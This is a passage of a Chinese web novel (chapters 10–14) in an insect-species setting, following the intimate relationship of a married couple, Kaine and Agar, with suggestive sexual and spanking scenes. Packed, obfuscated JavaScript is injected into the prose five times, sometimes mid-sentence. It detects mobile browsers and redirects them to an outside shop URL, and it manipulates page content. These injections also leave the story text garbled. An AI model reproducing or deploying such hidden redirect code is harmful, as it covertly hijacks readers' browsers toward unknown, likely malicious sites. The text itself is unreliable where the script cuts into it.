这听起来似乎只能打一架解决了。 凯恩微微一笑,从休息室的长椅上站起身来。 他本来就是身形高挑的雄虫,作战服又无比贴身,站起来身姿笔挺,格外吸引雌虫的目光。 阿加尔似乎不知道该做什么,呆呆地站在原地。而凯恩抬起手,把作战服的领口往下再拉半寸。 目光躲闪的变成了阿加尔,凯恩似乎从中品出一点什么趣味。他笑起来,向阿加尔的方向走了一步,声音刻意放得很软。 “那我走?” - 阿加尔仿佛被他烫了一下。他深吸一口气,第一反应是转身去锁休息室的门。 “等等。” 凯恩已经走到阿加尔身边,阿加尔几乎能嗅到他身上浅淡的信息素气味。 年轻的雌虫意识到自己脸上发烫,声音也有点抖。“你就这样出去?” “啊。”凯恩似乎轻轻笑了一声。“这里不是你的休息室吗?” - ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17285855|198432||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “所以你为什么在这里。”阿加尔语速很快,像掩饰什么。 “唔……”凯恩拖长了声音。 他眨眨眼睛,很快给自己找了个借口。“因为我的休息室空调坏了,报修之后说要等明天才能修好。训练完一身汗,总不能就这样回去。” 雄虫休息室的报修流程当然不可能那么久,不过凯恩料想阿加尔也不知道,足够糊弄年轻的阿加尔了。 他饶有兴致地抬手,又把领口往下拉了半寸。 “而且我又不会用很久,不会妨碍到你的。” - 雄虫大概就是这样。凡是他们认定的道理,不管看起来逻辑多么奇怪,都能这样轻而易举脱口而出。 凯恩到底也是雄虫。他无法容忍训练后一身汗渍、不能接受无法立刻清洁更衣的窘迫,大概也很正常。 阿加尔的喉结滚动了一下。 他应该坚持让凯恩离开的。 可他也没办法接受这个样子的凯恩就这样走出门去。头发汗湿,眼睛发亮,脸颊是运动之后的晕红。 但他接受不接受,和凯恩有什么关系呢?他和凯恩甚至是名义上的死对头。 话到嘴边,变成了这样。 “至少……你应该先问我。” - “你是在索要拒绝的权利吗?阿加尔。” 他们现在的距离非常近,近到阿加尔几乎能感知到凯恩身上的热度。而凯恩还要像这样附身过来,凑在他耳边,仿佛讲什么悄悄话似的轻声说着。 阿加尔未及反应,凯恩忽而直起身,后退一步,给他留出了一点可以正常呼吸的距离。 雄虫弯起嘴角,做出了一个看似很有分寸感的,彬彬有礼的请求姿态: “那么——尊敬的阿加尔同学,请问我可以暂时借用您的休息室吗?” 凯恩看着阿加尔。阿加尔眼神似乎有点放空,还没来得及反应现在的情况。 - 阿加尔走神了。在凯恩面前。在凯恩还等着他回答的时候。 他不得不承认,凯恩那片刻的强势让他忍不住心跳加速。 他想拒绝凯恩吗? ……凯恩的态度很快就软化了,没有硬逼着他回答这个问题。但他自己心里明白,自己根本就没办法拒绝凯恩。 嘴上说得再坚决,心里也不想这么做。 “只此一次。”阿加尔听见自己说。 他觉得这样的放任是危险的,失控的,但他还是顺应了自己的本心。 - 这个样子的阿加尔太有意思了,凯恩想。 看似很不情愿,却又偏偏容忍了这种过界行为。 如果这个时候就可以和阿加尔当情侣的话,会是什么感觉? 阿加尔会一边露出那种隐忍的不情愿的神情,一边默许他在他的休息室里肆意妄为吗? 幻想和现实在此刻交织一瞬,凯恩轻轻笑了起来。他自然而然抬起手,替阿加尔将一丝翘起的头发捋平。 “你真好。”他的语气甜滋滋的,指尖似有若无地擦过阿加尔的脸颊。 10. 10.他早有准备。 阿加尔从梦中醒来,凯恩仍然靠在他怀里。 见他睁眼,凯恩微微一笑,轻轻碰了碰他腰侧。 “我想起来了,阿加尔。” - ——只是睡了一觉就什么都记起来了,会不会速度太快了点? 凯恩完全不在意自己说出了一句怎样的石破天惊之言。他说话的时候语气轻描淡写,神情也轻松自在。 阿加尔却几乎一下子被激醒,眼睛睁大了一圈。 - 是恢复了记忆的意思吗? 想到了多少,还是已经全想起来了? 现在这个姿态是否有什么不妥? 他有些手足无措地松开环在凯恩身上的手臂,然后又抬起手,毫无章法地触碰凯恩的额头和脸颊,声音也发抖。 “雄主想起来了什么?还有哪里不舒服吗?” 他停顿片刻,翻身要去按床头的铃。“您应该再做一次检查……” - 还没来得及按到那个呼叫铃,阿加尔就被凯恩重新拖回被子里。 他根本没预料到凯恩会在这种时候阻止他,居然就这样被凯恩按住了。 拉扯间身上的睡衣被带开了一些,于是一阵难以形容的热潮从皮肤上滚过。 阿加尔望着凯恩,不知道他为什么要这样。 - “你以前在学校,脾气挺坏的。” 凯恩伸手拨弄了一下身边的雌虫睡得有点蓬乱的长发,语气温柔地说。 “……”阿加尔吸了口气,缓缓吐了出来。 - 其实阿加尔的脾气算不上特别坏,大概就是普通雌虫的水平。 但既然和凯恩针锋相对这么多年,从凯恩的角度来看的话,当然也谈不上好。 以普通同学的标准来看还算是凑合达到平均线,而以未来雌君标准看的话,简直可以打不及格。 阿加尔点了点头,对凯恩的评价表示认可。 虽然不知道凯恩为什么心血来潮翻旧账,但他们的过去就在那里,阿加尔心里有数,也没必要否认。 - “用下你的休息室而已,你居然想赶我出去。”凯恩的手不大安分地摸到阿加尔后腰,在某个形状连贯的虫纹上缓缓逡巡。 这又是从何说起呢,阿加尔想。 阿加尔意识到凯恩其实不是找回了那部分缺失的记忆,他大概只是在共梦之后回忆起了某些现在看来有点儿久远的校园往事,由此发出了简短的感叹而已。 至于“使用休息室”,当然也不是现实中会发生的事情。 那个时候凯恩还很年轻,比现在更在意“因为是雄虫而被另眼相待”这样的事情。尤其是阿加尔还是他明里暗里较劲的对象,他大概宁愿搭着毛巾走回宿舍区也不会找阿加尔借用休息室的。 当然,更不可能像梦境里那样说得理所当然。 - 但阿加尔不得不承认这对他来说似乎是个好梦。 凯恩在他面前有意无意地撩拨他,做点小动作若有若无触碰他,贴身用过的东西随便留在他休息室。 正常情况下,换衣服之前大约还需要使用一下淋浴。 想象一下凯恩在淋浴,而他安安静静地在外面等凯恩出来……简直暧昧得好像新婚之夜。 - “所以……我要惩罚你。” 凯恩慢悠悠地对阿加尔做出宣判,打断了雌虫不受控制的走神。 这句阿加尔倒是完全明白了。 其实凯恩未必对他的回应有什么不满。毕竟不论是当时还是现在,凯恩都是带着笑意的。 而且阿加尔不可能真的拒绝凯恩。梦里还是梦外都没有过。 - 但身为雄虫,大概兴之所至,想要随便找个理由来“教训”他一下。 好在阿加尔很愿意纵容凯恩的这种行为……甚至很期待。 “您说得对。”阿加尔定了定神。他的语调柔和而顺从,仿佛带着些许诱哄的味道。 “没能让雄主满意……的确应当受到惩罚才对。” 漂亮的绿色眼睛眨了眨,没多少恐慌,反而含着平静的包容。 “您可以,挑个顺手的工具。” - 他们还挤在床上,但阿加尔打开了终端的投影。他好像对这件事早有准备。光影浮动在虚空中,某些形状糟糕色调暧昧的东西浮现出来,旁边还用相当学术的小字标记了尺寸材质之类信息。 凯恩看看投影,又扭过头看阿加尔,恰好和他对视了一下。 阿加尔也恰好在此刻看向他。雌虫似乎想尽力表现得自然一点,他深深吸了口气,又慢慢吐出来。 “您觉得哪个好?” - “给我用吗?”凯恩问。 明知故问。这样的东西当然只会是雄虫用在雌虫身上。 但阿加尔还要认认真真回答他。 “嗯。”他发出个顺从的鼻音,“雄主选不出来的话,当然也可以在我身上一样样试试看。” - 雌虫抓住雄虫的手,在自己身上缓缓移动,仿佛在引导他丈量自己每个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17285856|198432||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 部位的尺寸。 “请相信您的雌君,”他好像微微笑了起来,神情柔和,仿佛在形容什么值得憧憬的事情,“能好好接受您给予的一切。” 手掌的力度加重了。阿加尔弯起眼睛。 - 凯恩看了他一会儿,轻轻“啧”了一声。 他们原本是拥挤地依偎在床上的姿态,而此刻又有不同。 身为和阿加尔同级同专业的雄虫,凯恩的力量训练当然也不是说说而已。 他相当自然地反转手腕按住阿加尔腰后,稍稍用力往自己的方向一带,随即手指勾着裤腰往下扯了一把,在阿加尔还没来得及配合或者做出什么其他反应之前抬起手,重重在他身后扇了两下。 - “唔!” 阿加尔完全没想到凯恩会突然动手。雄虫以前在学校原本就是速度见长,凯恩又刻意为之,让他毫无防备就这样挨了两下。 但他还没来得及做点什么,凯恩很快地手掌上移,按着他背强迫他贴上自己。雄虫身上还带着淡淡的信息素气息,靠近之后更加明显,而这个姿势几乎是让阿加尔埋在凯恩肩头。 终端被碰到一边,全息投影的光影闪烁着歪倒变形,那些暧昧难言的所谓工具线条模糊成色块。 而凯恩十分顺手地张开手掌,手指插入阿加尔长发托住后脑,就这样把他用力按向了自己。 - “我真的生气了,阿加尔。”凯恩张嘴,一口咬在他肩头。 “我在你心目中就是这样,强词夺理,惹是生非,胡搅蛮缠,无理取闹的雄虫吗?” 齿尖来回磨蹭几下才松开。算不上很痛,雌虫的恢复能力又很快,几乎没留什么痕迹。 而阿加尔还要小心翼翼放松,免得本能地绷紧肌肉导致雄虫磕到牙齿。 明明是他先发难,他先不满,阿加尔只是顺着他意思请求他给自己惩罚……他却还是表现得这么不高兴。 - “不……不是。” 阿加尔的声音有点发抖,可能是凯恩把他咬痛了,也可能是单纯克制某种难以启齿的冲动。 “您是我见过的……最温柔,最讲道理,最严于律己的雄虫阁下……” 他被凯恩环着腰,很方便就可以凑过去把头埋在雄虫肩上,以此避免和对方对视。 但他还是抬着头,胸口起伏,看着凯恩一句句地继续说下去。 “……只是我难以控制自己,对您产生了某些不端的念头……” “幻想您会那样对待我而已。” - 11. 11.还挺挑剔。 凯恩轻轻笑出来了。他安抚似的揉了一把阿加尔,看雌虫在自己身边轻轻发抖。 “还挺挑剔。喜欢被凶?”他神色倒是没什么不高兴,把责备讲得很温柔。“来,换个姿势。” 阿加尔茫然地被凯恩推着翻了个身,然后又被重新揽在怀里。雄虫好像很喜欢凑在他耳边讲话,声音又低又哑,说不出的性感。 “试试吧阿加尔。温柔一点的……也许你也会喜欢呢?” - 到起床的时候阿加尔有点双腿发软。凯恩的信息素无声地沾染了他一身,仿佛存在感鲜明的标记。 这种状态下的雌虫往往很容易留恋雄虫身边,而现在的凯恩当然也会放任他的黏糊。他们完全可以就这样什么也不干地度过几个小时。 但他还有工作安排,只能咬着牙强行压制这种源自于本能的反应。 - 凯恩不必离开床,因此他得以悠闲地靠在床头看着阿加尔。 大概是因为有会要开,阿加尔穿得很正式。衬衫裹住身体,外套银扣闪闪发亮,线条平直地勾勒出他的身形。 凯恩的手指活动了一下,仿佛在回味用手掌丈量阿加尔腰侧时的触感。 - 阿加尔当然不知道,那些被衣服掩盖的皮肤上留着怎样的痕迹。 但凯恩觉得自己一旦看过就不会忘掉。 亲吻的时候一般都比较轻柔,即使有牙印大概也是淡淡的,很快就消退了。 但动情之时,不愿意控制自己的力度,最后当然就会留下某些揉捏或者掐弄的痕迹。 雌虫恢复能力很强,那些花瓣一样的红痕很快就散去,再看的话也许只剩下浅粉色。 所以留在记忆中的,那种让凯恩油然而生一种爱怜感的画面,似乎非常值得反复回味。 - “我晚点来看你,好不好?” 阿加尔走到门边又顿住脚,扶着门,只给他留了个背影。 “干嘛,现在看我一眼都不肯。”凯恩的声音响在他身后。“还晚上再来?我就派这点用场?” 雄虫的声音清亮,好像没生气,但也不是开玩笑的那种含着笑意的语气。 - 单从此话的内容来说,这算得上程度较为严重的斥责。 正常情况下来说听到这个阿加尔就应该立刻转身,放下工作放下一切伏到凯恩脚边,尽可能对他表现出顺从,请求他惩罚自己,等待他原谅自己。 毕竟……在其他一切身份之外,他是凯恩的雌君。 但阿加尔其实又本能知道雄虫的意思。即使凯恩没明说,但阿加尔就是知道,他并不是在打算处罚自己。 也许是因为他们的精神力交融过,他似乎毫无道理地就知道雄虫想听他说什么,想看他表现出什么样子。 - 扶着门框的手轻轻抖了一下。 凯恩的精神触手也许轻轻碰了一下阿加尔,但也许是他头天被舒缓太多次之后的错觉。 他眼前晃过很近的凯恩带着笑意的脸。 这大概就是凯恩想得到的画面。莫名其妙共享给了他。 他跨坐在凯恩身上,脸上燥热,又不得不伸手把凯恩的手按在自己腰侧,然后偏头,慢慢吻上凯恩的嘴唇。 - 阿加尔喘了口气,视线重新聚焦在门上。 接一个吻也就耽误几分钟,他应该可以在返回工作场景的路上补回来。 但阿加尔不敢放任自己。 毕竟只是稍微共感了一瞬,他就不免呼吸急促心头发热。如果自己回过头真把那些变成现实的话,很可能就生理上没办法离开了。 “对不起雄主。”他语速飞快。“真得走了还有会要开……我结束了来跟您好好道歉。” - 凯恩回味似的舔了一下嘴唇,看着阿加尔从门边闪身出去。 他知道阿加尔其实也很喜欢刚刚自己描绘出来的场景。毕竟他能感觉到阿加尔也很兴奋。 虽然他很快就跑掉了。算是逃跑吗? 但没关系。等他回来再继续也是一样的。 他想象了一下用自己的手掌卡住雌虫结实的腰肢,触感温暖柔韧。如果吻得足够动情的话,可能还会感觉到和那种强大不符的、脆弱而难耐的微微发抖。 喘息的时候鼻音好像撒娇,低沉地震 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17285857|198432||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 颤着。像巨大的猛兽仰倒下来,露出自己毛茸茸的柔软的肚皮。 - 门被飞速关上。房间里恢复了一片寂静。 有那么严重吗?凯恩想。反正以他的经验,就算迟到一点也不会怎么样。毕竟这种例会的与会者基本全是下属。 他回味着阿加尔局促的行动,不由得噗哧一声笑了出来。 他摸着下巴拿起终端,给阿加尔发了私虫消息。 - 终端叮咚一声,是专属于凯恩的提示音。阿加尔犹豫一下。隔绝物理接触之后凯恩对他的影响没那么大了,但也不知道凯恩会对他说什么。 也许又是看似漫不经心实则刻意的撩拨。 他深吸一口气,选定未读消息。 普普通通的一句体贴。“不要着急,我没有生气。路上注意安全。” - 阿加尔本能地放松了一点。也许是因为他潜意识里还是担心凯恩不高兴,而凯恩也捕捉到了他这点微妙的心态。 但还没来得及回味一下此种已婚多年才有的自然流露,下一句立刻在屏幕上跳出来。 “今天也要记得选你喜欢的那款,好吗?” 阿加尔欲盖弥彰地飞速关掉此对话框,但消息状态很可能显示了“已读”。他放下终端,有点自嘲地笑了一下。 - 凯恩想要亲近他,想要在他的身上做出一些更深入或者更罕见的尝试,他怎么会把这当成是负担或者很难解决的任务? 这明明是应该欣然接受的……来自雄主的疼爱。 是因为凯恩太纵容自己了,脾气太好了,才会让自己冒出这种心思吗? 又或者其实是他自己太希望在凯恩面前表现好一点了。 - 衣物在身体上的摩擦带来难以言喻的焦躁和不适。阿加尔刚刚离开凯恩身边,似乎就已经开始怀念起来自他的怀抱了。 “今天选香草味,好不好?” 他安坐在自己的悬浮车上,才重新打开终端聊天界面,一字字回复。 类似冰淇淋的甜蜜气息。勾起食欲,也勾起更多的渴望。雄虫们应该很喜欢这种风格。 12. 12.睡睡醒醒。 香草味身体乳仿佛是阿加尔的笨拙的勾引,但也许只是他的一句发自内心的选择。 凯恩觉得有点儿干渴,于是他顺应自己的心意,早上要了一份香草口味的千层蛋糕来吃。 线条细巧的金属叉轻松地压下,柔软的饼皮和轻盈的奶油被轻而易举地切割开来。凯恩轻轻舔了一口奶油,喉结滑动了一下。 舌尖抿着冰凉的甜味,奶油像云朵一样在舌尖融化开来。 - 想到雌虫嘴唇的触感了。 属于他的雌虫。认真接纳他的触碰和品尝的雌虫。浓绿色眼睛的雌虫。 也想到阿加尔被他抹得芬芳馥郁的光滑的皮肤,或者其他的,只有他能亲眼得见或者触碰的那些。 “香草味的,先尝一口。” 凯恩悠然举起终端,拍下蛋糕边缘处,雪白的奶油在挤压之下溢出些许的画面,点击发送给阿加尔。 - 凯恩住院以来就很喜欢打扰阿加尔,反正雄虫对自己的雌虫有所要求都是理所应当的事。 千层蛋糕的画面足够克制而又不失暧昧,不论是想要进一步调情还是单纯当做一个普通的日常似乎都很合适。 阿加尔没有回复,可能是在专心开会。 在知道对方是办正事的情况下,凯恩也不会非要打扰对方。 在房间里休养的凯恩无事可做,做过新一轮身体检查之后又睡了过去。 - 凯恩再次醒来的时候阿加尔已经在他身边了,凯恩稍稍活动一下身体,发现似乎又有新的不知名医疗仪器连接在了自己的身体上。 “您发烧了。还有没有不舒服?”阿加尔的声音似乎很哑。“头疼不疼。” 不至于吧只是和雌君亲热了一下就反应这么大吗这是什么破体质,凯恩忍不住腹诽。又或者说都成年这么久了已婚好多年了反而还二次发育了? “嗯。”凯恩心里想得乱七八糟的,面上倒是还很顺口地指挥阿加尔,仿佛这种半是撒娇的要求出自他的本能。“我好热,你给我擦一下脸。要凉一点。” 触及皮肤的时候凯恩才发现其实是条热毛巾,他倒没说什么,只是轻轻“啧”了一声。 “太凉了的话不舒服。”阿加尔的动作轻柔,低声给他解释了一句。“您好像还没有完全退烧,雄主。” - “唔,真体贴。”凯恩似笑非笑说。 他是那种非常矛盾的雄虫。一方面对享受很挑剔,一方面又对不适有很强的忍耐性。 “好想……可以早点认识你。” 阿加尔把毛巾拿到一边,凯恩注视他的背影,说得莫名感慨。 早点认识他好像也没什么用,那时候的凯恩是宁愿忍耐也不想依靠雌虫的怪脾气雄虫。于是凯恩把这种心理理解为突如其来的占有欲作祟。 因为对当下太满意了,占有当下还犹嫌不够,想占有雌虫的以前和以后。 “我们认识得很早,雄主。”阿加尔语气淡淡的,轻而易举就叫出了这个亲密的称呼。“只是……” - “只是什么?”阿加尔回过身和凯恩对视,凯恩饶有兴致地看他。 是想说只是自己总喜欢跟他较劲?还是想说只是那时候不是现在这种关系? “只是我以前没有为您做这些事的资格而已。” 阿加尔说得理所当然,仿佛自己只是说了句凯恩早该知道的事情。 - “什么事情?”凯恩睁大眼睛。 阿加尔也会想象拥有更年轻的他吗? “站在您身边,靠近您,触碰您。”阿加尔拿走了手里的毛巾,擦干了自己的手走回来。“尝试侍奉您,满足您……请求您的垂青。” “唔。” 凯恩似乎对这一连串又像表白又像自我限制的内容有点意外。他兴味索然地挥挥手。 “不要对我背诵那种雌虫婚配守则的内容,我并没有使用那种东西规训伴侣的爱好。” - 阿加尔看他一眼,什么都没说。 其实那些并不是什么守则内容,是出于一个雌虫对自己心仪雄虫的诚实的欲望。是凯恩自己不相信。 但在那个时候,如果他真的对凯恩表现出什么欲望的话,凯恩大概率不会像现在这样心平气和的。 凯恩向来不喜欢那些把他当成“雄虫”的雌虫。他希望得到的对待就是像那时候的阿加尔一样,承认他的力量,面对他的时候要有争胜之心,接受赢过他或者被他赢过的结果。 阿加尔自觉自己也没多了解凯恩,但比其他雌虫要更了解一点。 - “其实只是那时候懂得太少。”阿加尔把目光移开了一点,给出了这样一个半真半假的回答。“也不够勇敢。” 他语焉不详,凯恩要细问,阿加尔却又故技重施地俯身去亲他,尝试用吻打断他的疑问。 虽然这招用了太多次,但在凯恩面前他总是能成功的。 漂亮的绿眼睛微微合起来,额头抵住额头,呼吸轻飘飘打在彼此脸上。柔软的嘴唇即使闭着眼睛也能彼此准确找到对方的位置。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17285858|198432||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 嘴唇相触的时候凯恩发出了若有若无的满意的喟叹声,阿加尔摸索着抓住了他的手,稍稍用力按在自己的腰侧。 唇舌长驱直入,熟悉的酥麻的愉悦伴随着细碎的声音。凯恩听到了一声吞咽。而阿加尔抬起手,准确地找到凯恩脸上粘着的一缕汗湿的长发,小心翼翼为他绕到耳后。 - 唇舌分开的时候雄虫干咳一声,手掌还搭在雌虫腰侧,手指本能地扣紧,抓皱了他的制服。 “今天的治疗安排得有点儿晚。”凯恩说。 “没关系。”阿加尔轻声说。“今天不需要进行的,您好好休息就好。” “毕竟您给了我足够的……属于您的……” 他好像有点不好意思,停顿了片刻,最后也没把信息素几个字说出来。 “只是稍微有点不舒服,但我已经习惯了。并没有影响到正常起居和工作。” - 他觉得自己会高兴吗?凯恩看着眼前的雌虫,眼睛放空,想。 他想证明他不需要依赖自己的雄虫。 不过凯恩认为在婚姻关系中,彼此无法信任无法互相依赖是很坏的事。 “是吗。”凯恩淡淡地说。“一点低烧而已,我自己的身体自己难道不清楚吗。” 像凯恩这样的高等级雄虫偶发毫无理由的低热一般是身体在自我修复,不是什么很严重的问题。 “放心,我不会随便扣你治疗时间的。” 他说得慢条斯理,像什么奇怪的宣言。 “毕竟——我是你最讲道理的雄主。” - 在那样的时刻说出的话,他居然还全部都记得。 但凯恩就是这样一个记性非常好的雄虫,阿加尔早就知道。 阿加尔垂下眼睛,舔了舔嘴唇,像在回味刚才的亲吻。 “都听您的。”他露出格外驯顺乖巧的姿态。“我们这就开始吧。” - 香草味的身体乳已经被凯恩取出来了,洁白的膏体在他手心,似乎被温度熏得有融化的势头。 “嗯,确实很甜。” 凯恩点评一句。 阿加尔低头解扣子,皮肤一寸一寸裸露在空气里。凯恩用手掌拢着那点身体乳,目光跟着他的动作一寸一寸下移,直到他抬起手,利落地把最后的遮蔽扔到一边。 甜蜜的香气四散,和早上凯恩要的香草千层蛋糕比起来似乎也不遑多让。 让他很想……在阿加尔这身漂亮的肌肉上磨一磨自己发痒的牙齿。 - 13. 13.为什么没想过呢? 检查结果还没出,香草味身体乳的香气弥漫在房间里。凯恩的微笑看起来很好看,阿加尔晕晕乎乎,几乎有种如坠云端的错觉。 “你猜我梦到了什么?”凯恩一边抚摸阿加尔光洁的皮肤,一边用那种非常幼稚的语气兴致勃勃地问。 “……我猜不到。”阿加尔轻轻喘出一口气,被微凉的身体乳激得哆嗦了一下。 - “你还记得吗?我的觉醒期。你应该忘了吧。” 凯恩也没有继续让阿加尔猜。他含着一点笑意,轻描淡写地开口,好像这件事情只是可以随便忘掉的小事。 凯恩自己当然不可能忘记,他也不希望阿加尔忘记。 觉醒期当然是很重要的事,凯恩自己也不能说不重视。他早早戴上监测仪持续检测自己的状态,原本还要再过两天才会请假去住院。但也许是状态不对,又或者仪器估算错误,他的觉醒期提前了一点。 开始进入高热状态的时候,凯恩还在自己的宿舍。 雄虫宿舍是单间,没有可以求助的对象。他想拨紧急通讯直接找医务组,但也许是因为状态昏沉意识不清,加上阿加尔的姓名排序太靠前,这通通讯被拨给了阿加尔。 - ……会想到那么久远的事情好像也很正常,阿加尔想。毕竟觉醒期的时候雄虫也会体温升高意识不清,和凯恩白天的状态有点像。 而如此重要的事阿加尔当然不可能忘记。凯恩的觉醒期开始的时候,阿加尔是那个在他身边的雌虫。 “觉醒期”总是伴随着“引导者”,“雌侍”,“婚姻匹配”之类的话题。留在这个状态下雄虫的身边的话总也脱不开这些词语。 所以提到“陪在他身边”的话……似乎有点容易引发误解。 但实际上这个“陪在身边”并不意味着什么,在那个时候他们之间也并没有发生某些让年轻的阿加尔又恐惧又期待的事情。 不过此刻他们已经是伴侣,重新回想起来,那时候的心情似乎仍然非常值得反复回味。 所以这些应该让凯恩知道吗?阿加尔有点犹豫地抿了抿唇。 - “没关系的,就算不记得也没事。” 凯恩观察了一下阿加尔的神情,发现他好像并不怎么高兴,于是找补了一句。 那个时候他们没有多亲密,而阿加尔还愿意在他拨错号又要求对方赶来自己宿舍的时候直接赶来……简直有点令虫感动。 - 也许阿加尔只是没想到自己可能面对的是特殊状态下的雄虫。这种私下的召唤也意味着某种意义上的危险。 也许阿加尔想到了,但他担心这是某种自己为难他的手段、为了避免更不可控制的麻烦才及时赶到。 甚至可以说,那个时候阿加尔面对的是足够改变一生的场景。面对脆弱的雄虫和强悍的雌虫,社会总是更倾向于前者。而雄虫完全有可能强迫他伤害他,事后又以此为由绑定他。 但他没有推辞,出现在了那里。 还好他那个时候倒是没有失去理智,或者借着所谓觉醒期提出什么糟糕的要求,否则的话简直就是以怨报德。 - 阿加尔的神情并没有什么松动,反而似乎更加紧绷了,像是有什么很难说出来的事情一样。 其实他当时也没做什么。 他只是帮凯恩拨了医务组,在医务组赶到之前打开了凯恩的衣柜,帮他找了件厚一点的外套,半抱着他起身帮他披上了。 阿加尔庆幸自己到得很快,得以独占凯恩片刻的脆弱与依靠。 那种来自凯恩的,连贯而灼烫的吐息,直接打在他颈侧……阿加尔好像是第一次感受到。 但成为伴侣之后,似乎又感受过好多次,重复的感受叠加起来,“第一次”混在其中,也因此显得模糊了。 - 凯恩停留在阿加尔身上的手掌不动了,安安静静地等待手心的热度传导向微凉的身躯。 指尖无意识地来回拨弄了一会儿某块虫纹,触感和皮肤不太一样,但抹上身体乳之后似乎是完全一致的馥郁光滑。 “难道是……对我印象很坏吗?”凯恩故意说。 他和阿加尔对视,不自觉地欣赏起雌虫那双漂亮的绿眼睛,然后因此莫名其妙晃神片刻。 - 阿加尔没说话,凯恩意识到自己没有必要这么问。阿加尔不是会在这种话题上争执的雌虫,他当然不可能在如此有倾向性的问题上故意跟他较劲。 你想要得到什么样的结果呢?凯恩想。 是想听他夸自己几句吗? 是想看他明明想要点头,却要担心自己不高兴,就这样发出一些违心之言吗? 还是……单纯自己心情不好,所以忍不住想找个理由跟他吵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17285859|198432||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起来,在他身上发泄某些不讲道理的情绪? 凯恩自认为不是那样的雄虫。即使他对“在阿加尔身上尝试一些过分的要求”有那么一点心动,但并不打算通过无事生非的方式来要求阿加尔就范。 - 阿加尔喉结轻轻滑动,好像正准备说话,但凯恩突然又不想听了。 他抬起手做了个停止的动作,声音低沉而缓慢。 “我知道我那时候很麻烦,你不用思考怎么对我解释。” - 不小心惹他不高兴了,阿加尔想。也许是因为犹豫太久,所以凯恩觉得不够真诚。 之前在面对凯恩的时候他总是很紧绷。但也许是近期住院的凯恩有点太温柔了,弄得他不由自主放松了……然后就像现在这样把自己送入一个尴尬境地,再说什么都像狡辩。 其实他当然不是想说凯恩麻烦。 如果是其他雄虫的话,当然觉得麻烦。但如果是眼前这位的话,无论做什么他都心甘情愿。 - “不是您说的那样。雄主。”阿加尔干咳一声,脸上浮上一层薄薄的红晕。 “我很感激您……在那种时候,还那样信任我。”他声音有点轻,伸手按住凯恩放在他身上的手掌,一寸寸往更不适宜随意触碰的部位挪过去。 不论凯恩是温和的,冷淡的,还是疾言厉色的……在这样的时候他似乎总是会心软一点。 “也很高兴……可以在那个时候,稍微陪陪您。” - “我应该告诉过你当时是我拨错号?”凯恩语气平直,并不配合阿加尔这种过于忍让和美化的态度。 阿加尔望着凯恩,很突然地也笑出来了。 “是。您说过。” “只有您会这样相信我吧。”阿加尔笑着,把凯恩的手掌更用力地按向自己,引着掌心更重地揉按,仿佛突然十分渴望来自他的触碰。 “这种特殊情况下,不熟悉的雌虫出现在身边……雄虫阁下应该认为是被算计了,来的雌虫是别有用心,是想趁机攀附上位、谋夺雌侍之位才对吧?” 凯恩眨眨眼睛,好像没反应过来这里面的逻辑。 阿加尔也不在乎。他抓住凯恩的手掌在自己身上游移,放肆地低喘起来。 “唔……为什么呢?看到我的时候,凯恩阁下怎么没想过,我可能是来强行索要您的啊?” 14. 14.被你挑选。 凯恩用力抱住阿加尔,和他深深吻了片刻。 “阿加尔。”唇舌分开,凯恩念着他的名字,毫不掩饰地叹了口气。“你没必要现在又来这么说。会让我觉得当初我觉醒期难得的正直很没必要。” 